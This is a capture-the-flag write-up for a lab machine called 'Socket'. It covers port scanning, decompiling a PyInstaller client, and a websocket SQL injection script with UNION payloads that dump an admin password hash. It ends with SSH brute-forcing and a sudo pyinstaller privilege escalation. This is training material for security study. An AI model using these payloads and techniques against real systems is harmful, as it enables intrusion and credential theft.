# Socket

## Gaining Access

Nmap scan:

```
$ nmap -p- --min-rate 3000 10.129.71.152    
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-27 00:57 EDT
Nmap scan report for 10.129.71.152
Host is up (0.17s latency).
Not shown: 65521 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
5789/tcp  open     unknown
```

We have to add `qreader.htb` to our `/etc/hosts` file. I ran a detailed scan on port 80 and found it is a Python based server:

```
80/tcp open  http    Apache httpd 2.4.52
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.1.2 Python/3.10.6
```

### Qreader

Website presents some kind of QR Code maker / reader application:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-6a442486a8d351b43db7988bc451d7a05d4581de%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

We can actually download the application below and view the source code:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-dc31c08ff282097f78e8f08c50113a816e5cc550%2Fimage%20(1997).png?alt=media" alt=""><figcaption></figcaption></figure>

Additionally, we can submit a report when something goes wrong:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-923435a31c258da68e1376434b4a355e5f5f8a62%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Interesting. When we download the file, we will get a binary and a test image:

```
┌──(kali㉿kali)-[~/htb/season/socket/app]
└─$ ls    
qreader  test.png
                                                                                             
┌──(kali㉿kali)-[~/htb/season/socket/app]
└─$ file qreader 
qreader: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3f71fafa6e2e915b9bed491dd97e1bab785158de, for GNU/Linux 2.6.32, stripped
```

We can try to reverse engineer this application. I tried with `ghidra` but it produced a lot of code that I could not read. Instead, we need to use Python Decompilation as the web server runs the application in Python based on the earlier `nmap` scan of port 80.

We can decompile this using `pyi-archive_viwer qreader`, and then convert it into a pyc file via `uncompyle6`. Then, we can do source code analysis of the app.

### Websocket SQL Injection

When reading the source code, we come across this:

{% code overflow="wrap" %}

```python
def version(self):
    response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({
        'version': VERSION })))
    data = json.loads(response)
    if 'error' not in data.keys():
        version_info = data['message']
        msg = f'''[INFO] You have version {version_info['version']} which was released on {version_info['released_date']}'''
        self.statusBar().showMessage(msg)
        return None
    error = None['error']
    self.statusBar().showMessage(error)
```

{% endcode %}

This connects to a websocket, which is on port 5789 after running an `nmap` scan to confirm. It appears to send some information via `ws_connect` to the `/version` directory.

```
5789/tcp open  unknown
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Date: Mon, 27 Mar 2023 05:02:03 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.
```

We can make a script to communicate with this port via `websocket` and send a JSON object for the version as per the script above.

```python
from websocket import create_connection
import sys, json

ws_host = 'ws://qreader.htb:5789'

VERSION = '0.0.2'

ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()
```

The output is as shown:

{% code overflow="wrap" %}

```
$ python3 exploit.py
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
```

{% endcode %}

I tried playing around with the version number, and it would raise an `Invalid Version!` error each time it wasn't set to `0.0.2`. When I appended a `"`, it would print nothing, indicating that there was an error in the backend since the code catches errors.

I played around with some UNION SQL injection, and found that the payload of `0.0.2"UNION SELECT 1,2,3,4;-- -` generated **no errors.** Changing the number of columns results in an error, indicating that this application is indeed vulnerable to SQL Injection.

We can confirm the DBMS used by trying different version commands, and I found that `sqlite_version()` works.

```
$ python3 exploit.py
{"message": {"id": "3.37.2", "version": 2, "released_date": 3, "downloads": 4}}
```

With this, we can extract the tables present in `sqlite_schema`.

{% code overflow="wrap" %}

```
{"message": {"id": "sqlite_sequence,versions,users,info,reports,answers", "version": 2, "released_date": 3, "downloads": 4}}
```

{% endcode %}

There's a `users` table, and we can try to extract a username and password from it.

{% code overflow="wrap" %}

```
payload used: 0.0.2"UNION SELECT username,password,3,4 from users;-- -
{"message": {"id": "admin", "version": "0c090c365fa0559b151a43e0fea39710", "released_date": 3, "downloads": 4}}
```

{% endcode %}

Great! The hash can be cracked on crackstation:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-234156fd4d98ae95267a1f6ca6e59bb601acc2d5%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Now, we need to find a username. I looked through the other tables of `reports` and `answers`.

{% code overflow="wrap" %}

```
{"message": {"id": "Hello Json,\n\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\n\nThomas Keller,Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller", "version": 2, "released_date": 3, "downloads": 4}}
```

{% endcode %}

This was done using `group_concat(answers)`, and it seems that the user is either Mike, Thomas Keller or Json. I tested `ssh` with a wordlist of possible usernames generated from their names, and found that `tkeller` is the right user via `hydra`.

We can then `ssh` in as `tkeller` and grab the user flag.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-fe0e2e015c685fd1e84db28f5dd92f2c4c2aab2e%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

### Sudo Pyinstaller

Checking the `sudo` privileges we have, I found that we can run bash script as `root`.

```
tkeller@socket:~$ sudo -l
Matching Defaults entries for tkeller on socket:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tkeller may run the following commands on socket:
    (ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
```

Here's the contents of that script:

```bash
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
  /usr/bin/echo "No enough arguments supplied"
  exit 1;
fi

action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')

if [[ -L $name ]];then
  /usr/bin/echo 'Symlinks are not allowed'
  exit 1;
fi

if [[ $action == 'build' ]]; then
  if [[ $ext == 'spec' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /home/svc/.local/bin/pyinstaller $name
    /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'make' ]]; then
  if [[ $ext == 'py' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
   /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'cleanup' ]]; then
  /usr/bin/rm -r ./build ./dist 2>/dev/null
  /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
  /usr/bin/rm /tmp/qreader* 2>/dev/null
else
  /usr/bin/echo 'Invalid action'
  exit 1;
fi
```

So this script checks for a `.spec` file extension, and takes an `$action` argument from us. It appears that the `build` option runs `pyinstaller` on the file we choose. What `pyinstaller` does is just run the code we specify.

As such, the exploit is simple.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-c5e57c3a6206d0f04b27fba02842aba6dfa84fec%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Pretty straightforward machine. The hard part was the SQL injection.
